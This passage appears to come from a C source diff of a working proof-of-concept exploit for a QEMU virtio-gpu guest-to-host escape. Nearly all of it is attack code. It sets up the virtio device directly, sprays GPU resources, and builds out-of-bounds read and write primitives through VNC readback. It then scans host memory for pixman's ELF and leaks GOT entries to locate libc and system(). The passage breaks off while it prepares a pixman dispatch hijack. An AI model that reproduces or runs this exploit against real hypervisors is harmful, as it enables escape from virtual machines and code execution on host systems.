pread(fd, &length, 4, cap_ptr + 12); + + if (cfg_type == 1) { + common_bar = bar; + common_offset = offset; + printf(" Common config: BAR%d offset=0x%x len=0x%x\n", + bar, offset, length); + } else if (cfg_type == 2) { + notify_bar = bar; + notify_offset = offset; + pread(fd, ¬ify_off_multiplier, 4, cap_ptr + 16); + printf(" Notify: BAR%d offset=0x%x multiplier=%u\n", + bar, offset, notify_off_multiplier); + } + } + cap_ptr = cap_next; + } + close(fd); + + if (common_bar < 0 || notify_bar < 0) { + printf(" Missing virtio PCI capabilities\n"); + return -1; + } + + size_t bar_size; + void *bar_map = map_bar(pci_path, common_bar, &bar_size); + if (!bar_map) { + printf(" Failed to map BAR%d\n", common_bar); + return -1; + } + common_cfg = (uint8_t *)bar_map + common_offset; + + if (notify_bar == common_bar) { + notify_base = (uint8_t *)bar_map + notify_offset; + } else { + void *nbar = map_bar(pci_path, notify_bar, NULL); + if (!nbar) return -1; + notify_base = (uint8_t *)nbar + notify_offset; + } + + return 0; +} + +static int setup_virtqueue(void) +{ + write16((void *)common_cfg + VIRTIO_PCI_COMMON_Q_SELECT, 0); + __sync_synchronize(); + + vq_size = read16((void *)common_cfg + VIRTIO_PCI_COMMON_Q_SIZE); + queue_notify_off = read16((void *)common_cfg + VIRTIO_PCI_COMMON_Q_NOFF); + + printf(" Queue 0: size=%u notify_off=%u\n", vq_size, queue_notify_off); + + if (vq_size == 0 || vq_size > 256) { + printf(" Bad queue size\n"); + return -1; + } + + size_t total = 16 * 4096; + vq_pages = mmap(NULL, total, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_LOCKED, -1, 0); + if (vq_pages == MAP_FAILED) { + printf(" mmap failed: %s\n", strerror(errno)); + return -1; + } + memset(vq_pages, 0, total); + mlock(vq_pages, total); + + for (size_t i = 0; i < total; i += 4096) + ((volatile char *)vq_pages)[i] = 0; + + descs = (struct vring_desc *)((uint8_t *)vq_pages + 0 * 4096); + avail = (struct vring_avail *)((uint8_t *)vq_pages + 2 * 4096); + used = (struct vring_used *)((uint8_t *)vq_pages + 3 * 4096); + cmd_region = (uint8_t *)vq_pages + 4 * 4096; + resp_region = (uint8_t *)vq_pages + 5 * 4096; + data_region = (uint8_t *)vq_pages + 6 * 4096; + + desc_pa = virt_to_phys(descs); + avail_pa = virt_to_phys(avail); + used_pa = virt_to_phys(used); + cmd_region_pa = virt_to_phys(cmd_region); + resp_region_pa = virt_to_phys(resp_region); + data_region_pa = virt_to_phys(data_region); + + if (!desc_pa || !avail_pa || !used_pa || + !cmd_region_pa || !resp_region_pa || !data_region_pa) { + printf(" Cannot determine physical addresses (need root + pagemap)\n"); + return -1; + } + + avail_idx = 0; + used_last = 0; + + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_DESCLO, desc_pa & 0xFFFFFFFF); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_DESCHI, desc_pa >> 32); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_AVAILLO, avail_pa & 0xFFFFFFFF); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_AVAILHI, avail_pa >> 32); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_USEDLO, used_pa & 0xFFFFFFFF); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_USEDHI, used_pa >> 32); + + write16((void *)common_cfg + VIRTIO_PCI_COMMON_Q_ENABLE, 1); + __sync_synchronize(); + + return 0; +} + +static int init_virtio_device(const char *pci_path) +{ + printf("[*] Initializing virtio device at %s\n", pci_path); + + if (parse_virtio_caps(pci_path)) + return -1; + + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, 0); + __sync_synchronize(); + + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, + VIRTIO_STATUS_ACKNOWLEDGE); + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, + VIRTIO_STATUS_ACKNOWLEDGE | VIRTIO_STATUS_DRIVER); + + write32((void *)common_cfg + VIRTIO_PCI_COMMON_DFSELECT, 0); + __sync_synchronize(); + uint32_t features = read32((void *)common_cfg + VIRTIO_PCI_COMMON_DF); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_GFSELECT, 0); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_GF, features); + + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, + VIRTIO_STATUS_ACKNOWLEDGE | VIRTIO_STATUS_DRIVER | + VIRTIO_STATUS_FEATURES_OK); + __sync_synchronize(); + + uint8_t status = read8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS); + if (!(status & VIRTIO_STATUS_FEATURES_OK)) { + printf(" Features negotiation failed\n"); + return -1; + } + + if (setup_virtqueue()) + return -1; + + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, + VIRTIO_STATUS_ACKNOWLEDGE | VIRTIO_STATUS_DRIVER | + VIRTIO_STATUS_FEATURES_OK | VIRTIO_STATUS_DRIVER_OK); + __sync_synchronize(); + + printf("[+] Virtio device initialized\n\n"); + return 0; +} + +/* ---------- GPU commands ---------- */ + +static int cmd_create_resource(uint32_t res_id, uint32_t fmt, + uint32_t w, uint32_t h) +{ + struct virtio_gpu_resource_create_2d cmd = { + .hdr.type = VIRTIO_GPU_CMD_RESOURCE_CREATE_2D, + .resource_id = res_id, + .format = fmt, + .width = w, + .height = h, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + + if (vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp))) + return -1; + if (resp.type != VIRTIO_GPU_RESP_OK_NODATA) { + printf(" FAILED: resp=0x%x\n", resp.type); + return -1; + } + return 0; +} + +static int cmd_set_scanout(uint32_t res_id, uint32_t x, uint32_t y, + uint32_t w, uint32_t h) +{ + struct virtio_gpu_set_scanout cmd = { + .hdr.type = VIRTIO_GPU_CMD_SET_SCANOUT, + .r = { .x = x, .y = y, .width = w, .height = h }, + .scanout_id = 0, + .resource_id = res_id, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + if (vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp))) + return -1; + if (resp.type != VIRTIO_GPU_RESP_OK_NODATA) + return -1; + return 0; +} + +static int cmd_resource_flush(uint32_t res_id, uint32_t w, uint32_t h) +{ + struct virtio_gpu_resource_flush cmd = { + .hdr.type = VIRTIO_GPU_CMD_RESOURCE_FLUSH, + .r = { .x = 0, .y = 0, .width = w, .height = h }, + .resource_id = res_id, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + return vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp)); +} + +static int cmd_attach_backing(uint32_t res_id) +{ + struct { + struct virtio_gpu_resource_attach_backing hdr; + } cmd = { + .hdr.hdr.type = VIRTIO_GPU_CMD_RESOURCE_ATTACH_BACKING, + .hdr.resource_id = res_id, + .hdr.nr_entries = 1, + }; + struct virtio_gpu_mem_entry entry = { + .addr = data_region_pa, + .length = 4096, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + + memset(data_region, 0, 4096); + + if (vq_send_cmd_data(&cmd, sizeof(cmd), &entry, sizeof(entry), + &resp, sizeof(resp))) + return -1; + if (resp.type != VIRTIO_GPU_RESP_OK_NODATA) + return -1; + return 0; +} + +static int cmd_transfer(uint32_t res_id, uint32_t rx, uint32_t ry, + uint32_t rw, uint32_t rh, uint64_t offset) +{ + struct virtio_gpu_transfer_to_host_2d cmd = { + .hdr.type = VIRTIO_GPU_CMD_TRANSFER_TO_HOST_2D, + .r = { .x = rx, .y = ry, .width = rw, .height = rh }, + .offset = offset, + .resource_id = res_id, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + + if (vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp))) + return -1; + if (resp.type != VIRTIO_GPU_RESP_OK_NODATA) + return -1; + return 0; +} + +/* ---------- Unbind existing driver ---------- */ + +static int unbind_existing_driver(const char *pci_path) +{ + char driver_link[512], driver_name[256]; + char unbind_path[512]; + ssize_t len; + + snprintf(driver_link, sizeof(driver_link), "%s/driver", pci_path); + len = readlink(driver_link, driver_name, sizeof(driver_name) - 1); + if (len < 0) { + printf("[*] No driver currently bound\n"); + return 0; + } + driver_name[len] = '\0'; + + char *base = strrchr(driver_name, '/'); + base = base ? base + 1 : driver_name; + printf("[*] Unbinding driver '%s'\n", base); + + const char *bdf = strrchr(pci_path, '/'); + bdf = bdf ? bdf + 1 : pci_path; + + snprintf(unbind_path, sizeof(unbind_path), "%s/driver/unbind", pci_path); + int fd = open(unbind_path, O_WRONLY); + if (fd < 0) { + printf(" Cannot open unbind: %s\n", strerror(errno)); + return -1; + } + write(fd, bdf, strlen(bdf)); + close(fd); + + usleep(100000); + printf(" [+] Driver unbound\n"); + return 0; +} + +/* ---------- Minimal VNC client ---------- */ + +static int vnc_fd = -1; + +static int recv_full(int fd, void *buf, size_t len) +{ + size_t done = 0; + while (done < len) { + ssize_t n = recv(fd, (uint8_t *)buf + done, len - done, 0); + if (n < 0) { + if (errno == EAGAIN || errno == EWOULDBLOCK) + return -2; + return -1; + } + if (n == 0) return -1; + done += n; + } + return 0; +} + +static int send_full(int fd, const void *buf, size_t len) +{ + size_t done = 0; + while (done < len) { + ssize_t n = send(fd, (const uint8_t *)buf + done, len - done, 0); + if (n <= 0) return -1; + done += n; + } + return 0; +} + +static int vnc_connect(void) +{ + vnc_fd = socket(AF_INET, SOCK_STREAM, 0); + if (vnc_fd < 0) return -1; + + struct sockaddr_in addr = { + .sin_family = AF_INET, + .sin_port = htons(VNC_PORT), + }; + inet_pton(AF_INET, VNC_HOST, &addr.sin_addr); + + if (connect(vnc_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + close(vnc_fd); + vnc_fd = -1; + return -1; + } + + struct timeval tv = { .tv_sec = 5, .tv_usec = 0 }; + setsockopt(vnc_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + int nodelay = 1; + setsockopt(vnc_fd, IPPROTO_TCP, TCP_NODELAY, &nodelay, sizeof(nodelay)); + + char ver[12]; + if (recv_full(vnc_fd, ver, 12)) return -1; + if (send_full(vnc_fd, "RFB 003.008\n", 12)) return -1; + + uint8_t num_sec; + if (recv_full(vnc_fd, &num_sec, 1)) return -1; + uint8_t sec_types[256]; + if (recv_full(vnc_fd, sec_types, num_sec)) return -1; + + uint8_t chosen = 1; /* None */ + if (send_full(vnc_fd, &chosen, 1)) return -1; + + uint32_t sec_result; + if (recv_full(vnc_fd, &sec_result, 4)) return -1; + if (sec_result != 0) return -1; + + uint8_t shared = 1; + if (send_full(vnc_fd, &shared, 1)) return -1; + + uint8_t server_init[24]; + if (recv_full(vnc_fd, server_init, 24)) return -1; + uint32_t name_len; + memcpy(&name_len, server_init + 20, 4); + name_len = ntohl(name_len); + char name[256] = {}; + if (name_len > 0 && name_len < sizeof(name)) { + if (recv_full(vnc_fd, name, name_len)) return -1; + } + + uint16_t fb_w, fb_h; + memcpy(&fb_w, server_init + 0, 2); + memcpy(&fb_h, server_init + 2, 2); + fb_w = ntohs(fb_w); + fb_h = ntohs(fb_h); + printf(" VNC connected: %ux%u \"%s\"\n", fb_w, fb_h, name); + + /* Set pixel format: 32bpp, depth 24, big-endian=0, true-color=1 */ + uint8_t spf[20] = {}; + spf[0] = 0; /* SetPixelFormat message type */ + spf[4] = 32; /* bpp */ + spf[5] = 24; /* depth */ + spf[6] = 0; /* big-endian */ + spf[7] = 1; /* true-color */ + spf[8] = 0; spf[9] = 0xff; /* red-max */ + spf[10] = 0; spf[11] = 0xff; /* green-max */ + spf[12] = 0; spf[13] = 0xff; /* blue-max */ + spf[14] = 16; /* red-shift */ + spf[15] = 8; /* green-shift */ + spf[16] = 0; /* blue-shift */ + if (send_full(vnc_fd, spf, 20)) return -1; + + return 0; +} + +static int vnc_send_update_request(uint16_t req_w, uint16_t req_h) +{ + uint8_t req[10]; + req[0] = 3; /* FramebufferUpdateRequest */ + req[1] = 0; /* incremental = 0 */ + req[2] = 0; req[3] = 0; /* x */ + req[4] = 0; req[5] = 0; /* y */ + uint16_t w = htons(req_w); + uint16_t h = htons(req_h); + memcpy(req + 6, &w, 2); + memcpy(req + 8, &h, 2); + return send_full(vnc_fd, req, 10); +} + +static int vnc_recv_update(uint8_t *out, size_t out_len) +{ + for (;;) { + uint8_t msg_type; + if (recv_full(vnc_fd, &msg_type, 1)) return -1; + + if (msg_type == 0) { /* FramebufferUpdate */ + uint8_t pad; + uint16_t num_rects; + if (recv_full(vnc_fd, &pad, 1)) return -1; + if (recv_full(vnc_fd, &num_rects, 2)) return -1; + num_rects = ntohs(num_rects); + + size_t total_read = 0; + for (int i = 0; i < num_rects; i++) { + uint16_t rx, ry, rw, rh; + int32_t encoding; + if (recv_full(vnc_fd, &rx, 2)) return -1; + if (recv_full(vnc_fd, &ry, 2)) return -1; + if (recv_full(vnc_fd, &rw, 2)) return -1; + if (recv_full(vnc_fd, &rh, 2)) return -1; + if (recv_full(vnc_fd, &encoding, 4)) return -1; + rw = ntohs(rw); + rh = ntohs(rh); + encoding = (int32_t)ntohl((uint32_t)encoding); + + size_t pixel_bytes = (size_t)rw * rh * 4; + if (encoding == 0) { /* Raw */ + if (total_read + pixel_bytes <= out_len) { + if (recv_full(vnc_fd, out + total_read, pixel_bytes)) + return -1; + } else { + uint8_t drain[1024]; + size_t left = pixel_bytes; + size_t can_store = (total_read < out_len) ? + out_len - total_read : 0; + if (can_store > 0) { + if (recv_full(vnc_fd, out + total_read, can_store)) + return -1; + left -= can_store; + } + while (left > 0) { + size_t chunk = left < sizeof(drain) ? left : sizeof(drain); + if (recv_full(vnc_fd, drain, chunk)) return -1; + left -= chunk; + } + } + total_read += pixel_bytes; + } else if (encoding == -223 || encoding == -224) { + continue; /* DesktopSize / LastRect pseudo-encoding */ + } else if (encoding == -239) { + /* Cursor pseudo-encoding */ + size_t cursor_data = (size_t)rw * rh * 4; + size_t mask_data = (size_t)((rw + 7) / 8) * rh; + uint8_t drain[1024]; + size_t left = cursor_data + mask_data; + while (left > 0) { + size_t chunk = left < sizeof(drain) ? left : sizeof(drain); + if (recv_full(vnc_fd, drain, chunk)) return -1; + left -= chunk; + } + } else { + continue; /* Unknown pseudo-encoding */ + } + } + return 0; + } else if (msg_type == 3) { /* ServerCutText */ + uint8_t sct_hdr[7]; + if (recv_full(vnc_fd, sct_hdr, 7)) return -1; + uint32_t text_len; + memcpy(&text_len, sct_hdr + 3, 4); + text_len = ntohl(text_len); + uint8_t drain[256]; + while (text_len > 0) { + size_t chunk = text_len < sizeof(drain) ? text_len : sizeof(drain); + if (recv_full(vnc_fd, drain, chunk)) return -1; + text_len -= chunk; + } + } else { + printf(" [!] Unexpected VNC message type %d\n", msg_type); + return -1; + } + } +} + +/* ---------- OOB read primitives ---------- */ + +static int oob_read_ex(uint32_t res_id, uint64_t byte_offset, + uint16_t scan_w, uint16_t scan_h, + uint8_t *vnc_buf, size_t vnc_buf_len, + uint8_t *linear_out, size_t linear_len) +{ + uint32_t rx = (uint32_t)(byte_offset / 4); + + /* + * Send VNC request BEFORE flush to avoid race with VNC refresh timer. + * This is the proven ordering from the macOS exploit. + */ + if (vnc_send_update_request(scan_w, scan_h)) + return -1; + if (cmd_set_scanout(res_id, rx, 0, scan_w, scan_h)) + return -1; + if (cmd_resource_flush(res_id, scan_w, scan_h)) + return -1; + + int rc = vnc_recv_update(vnc_buf, vnc_buf_len); + + /* Reset scanout to safe in-bounds position */ + cmd_set_scanout(res_id, 0, 0, READ_W, READ_H); + + if (rc == 0 && linear_out && linear_len > 0) { + size_t row_bytes = (size_t)scan_w * 4; + size_t copy = linear_len < row_bytes ? linear_len : row_bytes; + memcpy(linear_out, vnc_buf, copy); + } + return rc; +} + +static uint8_t read_vnc_buf[READ_VNC_BYTES]; + +static int oob_read(uint32_t res_id, uint64_t byte_offset, + uint8_t *linear_out, size_t linear_len) +{ + return oob_read_ex(res_id, byte_offset, READ_W, READ_H, + read_vnc_buf, sizeof(read_vnc_buf), + linear_out, linear_len); +} + +/* ---------- OOB write primitive ---------- */ + +static int oob_write_8(uint32_t res_id, uint64_t byte_offset, uint64_t value) +{ + if (byte_offset % 4 != 0) { + printf("[!] oob_write: offset not 4-byte aligned\n"); + return -1; + } + uint32_t rx = (uint32_t)(byte_offset / 4); + memcpy(data_region, &value, 8); + return cmd_transfer(res_id, rx, 0, 2, 1, 0); +} + +/* ---------- Main ---------- */ + +int main(int argc, char *argv[]) +{ + char pci_path[512]; + + /* Disable stdout buffering so we see output immediately on serial console */ + setvbuf(stdout, NULL, _IONBF, 0); + + /* + * If running as PID 1 (init), set up the minimal environment: + * mount virtual filesystems, load modules, configure networking. + */ + if (getpid() == 1) { + mount("proc", "/proc", "proc", 0, NULL); + mount("sysfs", "/sys", "sysfs", 0, NULL); + mount("devtmpfs", "/dev", "devtmpfs", 0, NULL); + + printf("[*] Loading virtio-net module...\n"); + + /* + * Load virtio-net and its dependency chain: + * failover.ko → net_failover.ko → virtio_net.ko + * Scan /lib/modules to find the right kernel version directory. + */ + { + DIR *md = opendir("/lib/modules"); + int loaded = 0; + if (md) { + struct dirent *me; + while ((me = readdir(md)) != NULL) { + if (me->d_name[0] == '.') continue; + char mpath[512]; + int mfd; + + /* Load failover.ko (dependency of net_failover) */ + snprintf(mpath, sizeof(mpath), + "/lib/modules/%s/kernel/net/core/failover.ko", + me->d_name); + mfd = open(mpath, O_RDONLY); + if (mfd >= 0) { + syscall(SYS_finit_module, mfd, "", 0); + close(mfd); + } + + /* Load net_failover.ko (dependency of virtio_net) */ + snprintf(mpath, sizeof(mpath), + "/lib/modules/%s/kernel/drivers/net/net_failover.ko", + me->d_name); + mfd = open(mpath, O_RDONLY); + if (mfd >= 0) { + syscall(SYS_finit_module, mfd, "", 0); + close(mfd); + } + + /* Load virtio_net.ko */ + snprintf(mpath, sizeof(mpath), + "/lib/modules/%s/kernel/drivers/net/virtio_net.ko", + me->d_name); + mfd = open(mpath, O_RDONLY); + if (mfd >= 0) { + if (syscall(SYS_finit_module, mfd, "", 0) == 0) + printf(" [+] Loaded %s\n", mpath); + else + printf(" [-] finit_module(%s): %s\n", + mpath, strerror(errno)); + close(mfd); + loaded = 1; + break; + } + } + closedir(md); + } + if (!loaded) + printf(" [!] Could not find virtio_net.ko\n"); + } + + /* Wait for the network interface to appear */ + printf("[*] Waiting for eth0...\n"); + for (int i = 0; i < 10; i++) { + int fd = open("/sys/class/net/eth0", O_RDONLY); + if (fd >= 0) { + close(fd); + printf(" [+] eth0 found\n"); + break; + } + if (i == 9) + printf(" [!] eth0 not found after 5s\n"); + usleep(500000); + } + + int sock = socket(AF_INET, SOCK_DGRAM, 0); + if (sock >= 0) { + struct ifreq ifr; + + /* lo up */ + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, "lo", IFNAMSIZ); + ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING; + ioctl(sock, SIOCSIFFLAGS, &ifr); + + /* eth0 up + addr 10.0.2.15/24 */ + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); + ioctl(sock, SIOCGIFFLAGS, &ifr); + ifr.ifr_flags |= IFF_UP | IFF_RUNNING; + if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) + printf(" [!] SIOCSIFFLAGS eth0: %s\n", strerror(errno)); + + struct sockaddr_in *sa = (struct sockaddr_in *)&ifr.ifr_addr; + sa->sin_family = AF_INET; + inet_pton(AF_INET, "10.0.2.15", &sa->sin_addr); + if (ioctl(sock, SIOCSIFADDR, &ifr) < 0) + printf(" [!] SIOCSIFADDR: %s\n", strerror(errno)); + + sa = (struct sockaddr_in *)&ifr.ifr_netmask; + sa->sin_family = AF_INET; + inet_pton(AF_INET, "255.255.255.0", &sa->sin_addr); + ioctl(sock, SIOCSIFNETMASK, &ifr); + + /* Default route via 10.0.2.2 */ + struct rtentry rt; + memset(&rt, 0, sizeof(rt)); + sa = (struct sockaddr_in *)&rt.rt_gateway; + sa->sin_family = AF_INET; + inet_pton(AF_INET, "10.0.2.2", &sa->sin_addr); + ((struct sockaddr_in *)&rt.rt_dst)->sin_family = AF_INET; + ((struct sockaddr_in *)&rt.rt_genmask)->sin_family = AF_INET; + rt.rt_flags = RTF_UP | RTF_GATEWAY; + if (ioctl(sock, SIOCADDRT, &rt) < 0) + printf(" [!] SIOCADDRT: %s\n", strerror(errno)); + close(sock); + + printf("[*] Network configured: 10.0.2.15/24 gw 10.0.2.2\n"); + } else { + printf("[!] socket(): %s\n", strerror(errno)); + } + + printf("[*] Waiting for link...\n"); + sleep(3); + } + + printf("============================================\n"); + printf(" QEMU virtio-gpu guest-to-host exploit PoC\n"); + printf(" Target: QEMU 8.1–10.2 on Linux aarch64\n"); + printf(" Attack: pixman dispatch hijack via OOB\n"); + printf("============================================\n\n"); + + if (find_virtio_gpu_pci(pci_path, sizeof(pci_path))) { + printf("[!] No virtio-gpu PCI device found\n"); + return 1; + } + printf("[+] Found virtio-gpu at %s\n", pci_path); + + if (unbind_existing_driver(pci_path)) + return 1; + + if (init_virtio_device(pci_path)) + return 1; + + /* ========== Phase 1: Create overflow resource + spray ========== */ + + printf("========================================\n"); + printf(" Phase 1: Create overflow resource\n"); + printf("========================================\n\n"); + + printf("[*] Creating exploit resource: %u x %u BGRA8888 (256KB, mmap)\n", + EXPLOIT_WIDTH, EXPLOIT_HEIGHT); + if (cmd_create_resource(RES_EXPLOIT, VIRTIO_GPU_FORMAT_B8G8R8A8_UNORM, + EXPLOIT_WIDTH, EXPLOIT_HEIGHT)) { + printf("[!] Resource creation failed\n"); + return 1; + } + if (cmd_attach_backing(RES_EXPLOIT)) { + printf("[!] Attach backing failed\n"); + return 1; + } + printf(" [+] Exploit resource %d created\n", RES_EXPLOIT); + + printf("[*] Spraying %d filler resources (safe forward scan zone)...\n", + SPRAY_COUNT); + int spray_ok = 0; + for (int sid = SPRAY_ID_START; sid < SPRAY_ID_START + SPRAY_COUNT; sid++) { + if (cmd_create_resource(sid, VIRTIO_GPU_FORMAT_B8G8R8A8_UNORM, + EXPLOIT_WIDTH, EXPLOIT_HEIGHT)) + break; + if (cmd_attach_backing(sid)) + break; + spray_ok++; + } + printf(" [+] %d fillers (%d MB mapped forward)\n\n", + spray_ok, spray_ok / 4); + + /* ========== Phase 2: Information leak — find pixman via ELF scan ========== */ + + printf("========================================\n"); + printf(" Phase 2: Find pixman via ELF scan\n"); + printf("========================================\n\n"); + + printf("[*] Connecting to VNC at %s:%d...\n", VNC_HOST, VNC_PORT); + int retries = 0; + while (vnc_connect() != 0) { + if (++retries > 30) { + printf("[!] Cannot connect to VNC server\n"); + return 1; + } + printf(" Retrying (%d)...\n", retries); + if (vnc_fd >= 0) { close(vnc_fd); vnc_fd = -1; } + sleep(1); + } + printf(" [+] VNC connected\n\n"); + + /* Warmup: establish VNC framebuffer */ + cmd_set_scanout(RES_EXPLOIT, 0, 0, READ_W, READ_H); + cmd_resource_flush(RES_EXPLOIT, READ_W, READ_H); + usleep(200000); + { + uint8_t warmup[READ_VNC_BYTES]; + vnc_send_update_request(READ_W, READ_H); + vnc_recv_update(warmup, sizeof(warmup)); + } + + /* + * Scan forward from the exploit buffer for ELF shared libraries. + * On Linux aarch64 with top-down mmap, the exploit buffer (256KB) + * lands below the shared libraries. Scanning forward (to higher + * addresses) reaches pixman, libc, etc. The spray ensures all + * forward memory is mapped (zeros), so OOB reads are safe. + * + * Strategy: + * 1. Coarse scan at 64KB steps looking for non-zero data + * 2. When non-zero found, fine scan backward to find ELF header + * 3. For each ELF, try reading GOT[free] at pixman's known offset + * to verify it's pixman + */ + uint64_t pixman_oob = 0; /* OOB offset from exploit buffer to pixman base */ + uint64_t pixman_base = 0; + int elfs_found = 0; + + printf("[*] Coarse scan: %lu MB range, %lu KB steps...\n", + (unsigned long)(SCAN_RANGE / (1024*1024)), + (unsigned long)(COARSE_STEP / 1024)); + + int scan_reads = 0; + int scan_nonzero = 0; + for (uint64_t off = COARSE_STEP; off < SCAN_RANGE && !pixman_base; + off += COARSE_STEP) { + uint8_t buf[READ_LINEAR]; + scan_reads++; + if (scan_reads % 10 == 0) + printf(" (%d reads, %d nonzero, at +0x%lx)\n", + scan_reads, scan_nonzero, (unsigned long)off); + if (oob_read(RES_EXPLOIT, off, buf, sizeof(buf))) { + /* VNC read failed — reconnect and retry once */ + if (vnc_fd >= 0) { close(vnc_fd); vnc_fd = -1; } + sleep(1); + if (vnc_connect() != 0) break; + if (oob_read(RES_EXPLOIT, off, buf, sizeof(buf))) + continue; + } + + /* Check if this is a non-zero page (library data, not spray zeros) */ + int nonzero = 0; + for (int i = 0; i < 64; i += 8) { + uint64_t v; + memcpy(&v, buf + i, 8); + if (v) { nonzero = 1; break; } + } + if (!nonzero) continue; + scan_nonzero++; + + /* Check for ELF magic at this exact offset */ + uint32_t magic; + memcpy(&magic, buf, 4); + if (magic == 0x464c457f) { /* \x7fELF */ + elfs_found++; + + /* Read e_shoff (section header table offset) from ELF header + * at offset 0x28 (for ELF64). This gives the approximate + * library size. Only probe GOT if library is large enough + * to be pixman (~0xb1000 bytes). */ + uint64_t e_shoff = 0; + if (READ_LINEAR >= 0x30) { + memcpy(&e_shoff, buf + 0x28, 8); + } else { + uint8_t shbuf[8]; + if (oob_read(RES_EXPLOIT, off + 0x28, shbuf, 8) == 0) + memcpy(&e_shoff, shbuf, 8); + } + + printf(" [%d] ELF at +0x%lx (shoff=0x%lx)\n", + elfs_found, (unsigned long)off, (unsigned long)e_shoff); + + /* pixman 0.42.2 has e_shoff = 0xa0150 exactly. + * Use a narrow range to avoid probing non-pixman libraries + * (which could crash if we read past their mapped region). */ + if (e_shoff >= 0x9f000 && e_shoff <= 0xa2000) { + printf(" -> pixman candidate, reading GOT[free]...\n"); + uint64_t got_off = off + PIXMAN_GOT_FREE; + uint8_t got_buf2[8]; + if (oob_read(RES_EXPLOIT, got_off, got_buf2, 8) == 0) { + uint64_t got_val; + memcpy(&got_val, got_buf2, 8); + printf(" GOT[free] = 0x%lx\n", (unsigned long)got_val); + + uint64_t ia_off = off + PIXMAN_INIT_ARRAY; + uint8_t ia_buf[8]; + if (oob_read(RES_EXPLOIT, ia_off, ia_buf, 8) == 0) { + uint64_t ia_val; + memcpy(&ia_val, ia_buf, 8); + uint64_t candidate_base = ia_val - PIXMAN_INIT_ARRAY_TGT; + printf(" init_array[0] = 0x%lx -> base = 0x%lx\n", + (unsigned long)ia_val, (unsigned long)candidate_base); + if ((candidate_base & 0xFFF) == 0 && ia_val > 0x1000) { + printf(" PIXMAN FOUND!\n"); + pixman_oob = off; + pixman_base = candidate_base; + break; + } + } + } + } + continue; + } + + /* Non-zero but not ELF header — we're inside a library. + * Fine scan backward to find the ELF header. */ + uint64_t lib_start = 0; + for (uint64_t back = off - 0x10000; + back >= off - COARSE_STEP && back > 0; + back -= 0x10000) { + uint8_t hdr[4]; + if (oob_read(RES_EXPLOIT, back, hdr, 4)) + continue; + uint32_t m; + memcpy(&m, hdr, 4); + if (m == 0x464c457f) { + lib_start = back; + break; + } + /* If we hit all-zeros, we've left the library */ + uint64_t v; + memcpy(&v, hdr, 4); + if (v == 0) break; + } + + if (lib_start) { + elfs_found++; + + /* Read e_shoff to check library size */ + uint8_t shbuf[8]; + uint64_t e_shoff = 0; + if (oob_read(RES_EXPLOIT, lib_start + 0x28, shbuf, 8) == 0) + memcpy(&e_shoff, shbuf, 8); + + printf(" [%d] ELF at +0x%lx (fine, shoff=0x%lx)\n", + elfs_found, (unsigned long)lib_start, (unsigned long)e_shoff); + + if (e_shoff >= 0x9f000 && e_shoff <= 0xa2000) { + printf(" -> pixman candidate\n"); + uint64_t got_off = lib_start + PIXMAN_GOT_FREE; + uint8_t got_buf2[8]; + if (oob_read(RES_EXPLOIT, got_off, got_buf2, 8) == 0) { + uint64_t got_val; + memcpy(&got_val, got_buf2, 8); + uint64_t ia_off = lib_start + PIXMAN_INIT_ARRAY; + uint8_t ia_buf[8]; + if (oob_read(RES_EXPLOIT, ia_off, ia_buf, 8) == 0) { + uint64_t ia_val; + memcpy(&ia_val, ia_buf, 8); + uint64_t candidate_base = ia_val - PIXMAN_INIT_ARRAY_TGT; + if ((candidate_base & 0xFFF) == 0 && ia_val > 0x1000) { + printf(" PIXMAN FOUND!\n"); + pixman_oob = lib_start; + pixman_base = candidate_base; + } + } + } + } + } + } + + if (!pixman_base) { + printf("[!] pixman not found in %lu MB scan (%d ELFs seen)\n", + (unsigned long)(SCAN_RANGE / (1024*1024)), elfs_found); + return 1; + } + + printf("\n[*] pixman at OOB +0x%lx (base=0x%lx)\n", + (unsigned long)pixman_oob, (unsigned long)pixman_base); + + /* Compute exploit buffer absolute address */ + uint64_t pixbuf_addr = pixman_base - pixman_oob; + printf(" pixbuf addr = 0x%lx\n", (unsigned long)pixbuf_addr); + + /* Read GOT[free] → libc base → system() */ + uint8_t got_buf[8]; + if (oob_read(RES_EXPLOIT, pixman_oob + PIXMAN_GOT_FREE, got_buf, 8)) { + printf("[!] Failed to read GOT[free]\n"); + return 1; + } + uint64_t free_addr; + memcpy(&free_addr, got_buf, 8); + + uint64_t libc_base = free_addr - LIBC_FREE_OFF; + uint64_t system_addr = libc_base + LIBC_SYSTEM_OFF; + + printf(" free() = 0x%lx\n", (unsigned long)free_addr); + printf(" libc base = 0x%lx\n", (unsigned long)libc_base); + printf(" system() = 0x%lx\n", (unsigned long)system_addr); + + /* Compute _global_implementation OOB offset */ + uint64_t global_imp_oob = pixman_oob + PIXMAN_GLOBAL_IMP; + printf(" _global_implementation at OOB +0x%lx\n", + (unsigned long)global_imp_oob); + 